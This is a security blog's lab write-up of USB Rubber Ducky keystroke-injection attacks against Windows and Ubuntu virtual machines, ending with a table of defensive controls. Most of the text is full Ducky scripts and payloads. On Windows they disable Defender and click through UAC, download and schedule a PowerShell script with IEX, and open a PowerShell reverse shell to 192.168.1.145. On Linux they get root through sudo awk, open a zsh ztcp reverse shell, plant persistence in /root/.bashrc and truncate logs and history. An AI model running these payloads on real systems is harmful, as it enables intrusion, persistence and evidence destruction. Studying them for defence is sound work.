It Types Faster Than You Do: USB HID Attacks with a Rubber Ducky

#06HIGH/ FirewallFables/ Oct 6, 2026/ 12 min read

Verdict: A Human Interface Device attack needs no exploit, no vulnerability and no malware on disk. It needs four seconds of physical access and a port that trusts anything claiming to be a keyboard. In this lab, a programmable USB stick typed its way through Windows Defender, answered its own UAC prompt, registered a PowerShell job that calls home at every logon, and — on a second target — walked sudo into a root shell, wired a callback into /root/.bashrc, and truncated the logs on the way out. Everything below was executed against isolated virtual machines; nothing touched a production host.

Rubber Ducky attack chains on Windows and Linux, four stages each WINDOWS 11 · 49 LINES LINUX · 82 LINES 01 ACCESS Windows Security via GUI r 02 EXECUTE PowerShell + Ctrl+Shift+Enter 03 PERSIST Register-ScheduledJob, AtLogOn 04 CALLBACK payload.ps1 → TCP 5647 @ logon 01 PRIVESC sudo awk → /bin/sh 02 SHELL zsh ztcp 192.168.1.145:4444 03 PERSIST vi /root/.bashrc → callback 04 GHOST auth.log truncated, history -c
Each row is one payload. Nothing in either chain requires a vulnerability — only a keyboard the OS trusts.

That diagram is the whole story. There is no memory corruption, no CVE, no dropped binary in the first stage. There is a device the operating system has agreed to believe, and a script that knows exactly where the cursor will be.

#The trust problem in the USB port

A keyboard is the most privileged peripheral you can plug into a machine. It does not ask for a driver — the HID boot protocol is implemented by every BIOS, every installer and every operating system since the 1990s. It does not prompt for permission, does not appear as a drive, and does not get scanned as storage, because it is not storage. Its entire job is to turn electrical signals into keystrokes, and the operating system has no mechanism to tell a human's fingers from a microcontroller's GPIO pins.

That is the gap HID attacks live in. A Rubber Ducky is a small microcontroller board inside a USB-drive shell that enumerates as a HID keyboard and replays a scripted keystroke sequence — Ducky Script — at machine speed. It has no intelligence, no network stack and no persistence of its own; it simply types, very fast, into whatever has focus on the desktop.

Two consequences follow, and both matter more than the hardware:

  • The payload is not on the device. The script types a command that downloads the real payload. Nothing on the USB stick looks like malware because nothing on the USB stick is malware — it's a text file full of keystrokes.
  • It inherits the session. The stick types as the logged-in user, in that user's session, with that user's privileges, sudo timestamp, mounted shares and network position. It does not need to find a vulnerability because it is already sitting behind the login.

#The lab

Role System Notes
Target (Windows) Windows VM, logged-in user Defender enabled at start, no EDR agent
Target (Linux) Ubuntu VM, logged-in user Stock desktop, zsh installed
Attacker Kali VM at 192.168.1.145 nc listeners on 5647 (Windows) and 4444 (Linux)
Delivery Rubber Ducky in HID mode One payload per target, no drivers installed
Network Host-only virtual segment No route to the internet; payload URL served locally

Both payloads are written as keystroke scripts, which is a strange way to write software: every delay is a guess about how long a window takes to open. The Windows script sits at 49 lines and about a minute of wall-clock typing; the Linux script is 82 lines, most of it DELAY.

#Windows: Defender off, job on, shell back

#Stage 1 — reach Windows Security without a mouse

REM Disabling Windows Defender
GUI r
DELAY 4000
STRING windowsdefender:
DELAY 1000
ENTER
DELAY 6000
ENTER
TAB
TAB
TAB
TAB
DELAY 600
ENTER
DELAY 600
SPACE
DELAY 6000
TAB
DELAY 1000
TAB
DELAY 2000
ENTER
DELAY 600
ALT F4
DELAY 600

GUI r is Win+R. The script opens the Run box, launches the windowsdefender: URI, waits for the app to paint, tabs down to the protection panel, presses Enter to open it, toggles the switch with Space, tabs to the confirmation and accepts it. No PowerShell, no registry edits, no Set-MpPreference — just a keyboard pretending to be a person clicking through settings. Note the timing: 600 ms between keystrokes once a dialog is expected, 6 s where a UWP app has to spin up.

This stage is the most fragile part of any Ducky payload, because it depends on a specific UI layout, a specific window size and a specific Windows build. It is also the one that Tamper Protection breaks outright: with Defender's tamper protection enabled, the GUI toggle refuses to turn off real-time protection, and the script's Space bar achieves nothing. The payload here assumes a host where it is off — which, in the wild, is exactly the host worth attacking.

#Stage 2 — elevating PowerShell by answering UAC

REM Opening PowerShell with admin privilege
GUI r
DELAY 4000
STRING powershell
CTRL SHIFT ENTER
DELAY 4000
TAB
DELAY 1000
TAB
DELAY 4000
ENTER

Ctrl+Shift+Enter launches PowerShell elevated. The UAC prompt appears on the secure desktop — and then the keyboard presses Tab, Tab, Enter. This is not a UAC bypass. It is a UAC answer: the consent dialog is waiting for a human to say yes, and the device is a human as far as the dialog knows.

That is the single most underrated line in the payload. Organisations treat UAC as a control, but UAC is a speed bump for a person at the desk. Against a device that types on that desk, it is a two-tab formality.

#Stage 3 — fetch, wrap, schedule

The elevated shell gets one line, typed into it:

STRING $T = New-JobTrigger -AtLogOn ; $Script = IEX(New-Object System.Net.WebClient).DownloadString('https://vulnerable.fun/payload.ps1') ; $ScriptBlock = [Scriptblock]::Create($Script.Content) ; Register-ScheduledJob -Name "Powershell" -ScriptBlock $ScriptBlock -Trigger $T

Read the intent rather than the syntax: build a trigger that fires at logon, pull a PowerShell script over HTTPS, wrap it in a script block, and register it as a scheduled job named Powershell. (The one-liner stutters as written — IEX is applied to the download call and then .Content is read from the result — but the shape of the attack is clear, and a working variant is a whisper away.) The URL used in the lab is a placeholder domain; nothing was fetched from the open internet.

Two details make this stage effective:

  • The malware is fetched, not dropped. The stick carries no file. The named job downloads the script every time it runs, so the operator can change the payload without touching the host.
  • Register-ScheduledJob is quiet. It's a PowerShell job stored under %USERPROFILE%\AppData\Local\Microsoft\Windows\PowerShell\ScheduledJobs, not an entry in Task Scheduler's UI. Administrators who only look at taskschd.msc will not see it.

#Stage 4 — the shell that comes back

payload.ps1, the file that gets fetched, is a minimal TCP client:

$client = New-Object System.Net.Sockets.TCPClient("192.168.1.145",5647);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " > ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()

It reads commands, executes them with iex, pipes the output into a prompt string (PS <current directory> > ) and writes it back. That's an interactive PowerShell session with the privileges the job ran under — no payload traffic that looks unusual, no listening port, no new service. Outbound TCP to an IP on a high port, from a desktop that makes outbound connections all day.

The scheduled job means the session is not a one-off: log off, log back in, and the callback happens again. That is the difference between a proof of concept and an intrusion.

#Linux: root, a callback, and a clean floor

#Stage 1 — root through the program you already trusted

REM Privilege Escalation
REM Windows key
GUI
DELAY 10000
STRING terminator
ENTER
DELAY 10000
STRING sudo awk 'BEGIN {system("/bin/sh")}'
ENTER
DELAY 10000

awk executes commands; sudo lets it; the result is a root shell with no password prompt if the account has passwordless sudo or a live sudo timestamp — the default timestamp_timeout is 15 minutes of cached authority, and the Ducky is typing inside that window. This isn't a bug in awk or in sudo; it's the standard GTFOBins pattern, and it's why "the user is already logged in" is not a mitigation for anything.

#Stage 2 — a reverse shell without nc or /dev/tcp

STRING zsh -c 'zmodload zsh/net/tcp && ztcp 192.168.1.145 4444 && zsh <&$REPLY >&$REPLY 2>&$REPLY'

zsh ships a TCP module. ztcp opens a socket and leaves the file descriptor in $REPLY; the next zsh is duplicated onto that descriptor for stdin, stdout and stderr. No Netcat binary, no bash /dev/tcp (which many hardened builds disable), no Python one-liner — just two lines of shell and the login shell's own networking. On a host where the usual reverse-shell one-liners have been blocked, this still works.

#Stage 3 — persistence in the login script

REM Gaining reverse shell for persistent access
STRING cd /..
ENTER
DELAY 10000
STRING cd root
ENTER
DELAY 10000
STRING vi .bashrc
ENTER
DELAY 10000
STRING e
DELAY 10000
STRING i
DELAY 10000
ENTER
DELAY 10000
ENTER
DELAY 10000
ENTER
DELAY 10000
UPARROW
UPARROW
DELAY 10000
STRING zsh -c 'zmodload zsh/net/tcp && ztcp 192.168.1.145 4444 && zsh <&$REPLY >&$REPLY 2>&$REPLY'
DELAY 10000
ENTER
DELAY 5000
ESCAPE
SHIFT SEMICOLON
DELAY 5000
STRING wq
DELAY 2000
ENTER

From the root shell the script walks back to /, opens /root/.bashrc in vi, uses e to jump to the end of the file, i for insert mode, opens three blank lines, steps up into one and types the callback into it, then saves with :wq. Every future root login — a sudo su from support, an SSH session from an admin, a cron job that sources the profile — re-establishes the shell. Persistence written into a file that administrators edit for a living, which is exactly why it survives casual inspection.

#Stage 4 — leaving a clean floor

REM Covering tracks for root user
STRING > /var/log/auth.log
DELAY 1000
ENTER
STRING > ~/.bash_history
DELAY 100
ENTER
DELAY 1000
STRING > /root/.bash_history
DELAY 100
ENTER
DELAY 1000
REM exiting root user
STRING exit
DELAY 100
ENTER
DELAY 1000
REM Covering tracks for unprivileged user
STRING > /var/log/auth.log
DELAY 1000
ENTER
STRING > ~/.bash_history
DELAY 1000
ENTER
DELAY 1000
STRING history -c
DELAY 1000
ENTER
DELAY 1000
STRING sudo su
DELAY 100
ENTER

Truncation (>), not deletion: the file stays, empty, with a timestamp that has refreshed. history -c clears the in-memory shell history, and the exit returns the session to the unprivileged user, whose own history and the shared auth.log are then cleared again. The sudo su at the end restores a root shell so the operator can continue.

What survived: journald (journalctl -u ssh, _COMM=sudo), auditd if it was running, the Kernel log buffer, the filesystem's own atime/mtime on a truncated log, and anything shipping logs off the host. Truncating auth.log is not stealth; it is a signal, and one of the loudest a host can emit.

#What actually stops this

Stage Control Why it holds
Plug-in USB device control / HID allowlist by VID:PID An unapproved keyboard never enumerates; nothing downstream matters
Plug-in USBGuard, endpoint DLP, port epoxy on kiosks Physically prevents the trust boundary from being crossed
Stage 1 Defender Tamper Protection + policy-managed settings The GUI toggle stops working; disabling Defender requires an admin action that is logged
Stage 2 Standard user accounts, no local admin The UAC prompt becomes a credential request the device cannot answer
Stage 3 PowerShell script block logging (4104), transcription The DownloadString one-liner is recorded verbatim, with the URL
Stage 3 Autoruns / scheduled job monitoring Register-ScheduledJob artifacts under AppData\...\ScheduledJobs are invisible in Task Scheduler — collect them explicitly
Stage 4 Egress filtering, DNS logging, proxy inspection Blocks the fetch and the callback even when the keystrokes land
Linux timestamp_timeout=0, NOPASSWD reviewed No cached sudo authority for the stick to spend
Linux auditd execve rules, AIDE on /root awk spawning a shell as root and a modified .bashrc are both visible
All Screen lock, no auto-login, physical access control A locked session is not a session the stick can type into

The uncomfortable one is the first row. Everything below it is defence in depth; device control is the only control that addresses the actual primitive, which is a USB port that accepts keyboards from strangers.

Moral: every layer of security on a workstation assumes a human is sitting in front of it and that the human's intent is the machine's intent. HID attacks don't break that assumption — they become it. The stick has no exploit. It has your keyboard.

#The detailed report

The full lab report — both payloads in full, with screenshots of the Defender toggle, the scheduled job and the vi session — is embedded below.

Detailed report · PDFUSB HID Attacks — Windows & Linux lab report
Download PDF

3 pages · 1.1 MB · prepared by Pritam Dash · scrollable in place

Pass it on

Never miss an issue

New stories land in the feed as they're published.

rss.xml

More fables

HIGHSupply ChainOct 10, 2026 · 8 min

Shai-Hulud Supply Chain Attack

How a self-spreading npm worm turned stolen maintainer tokens into a cascading supply-chain compromise across hundreds of packages.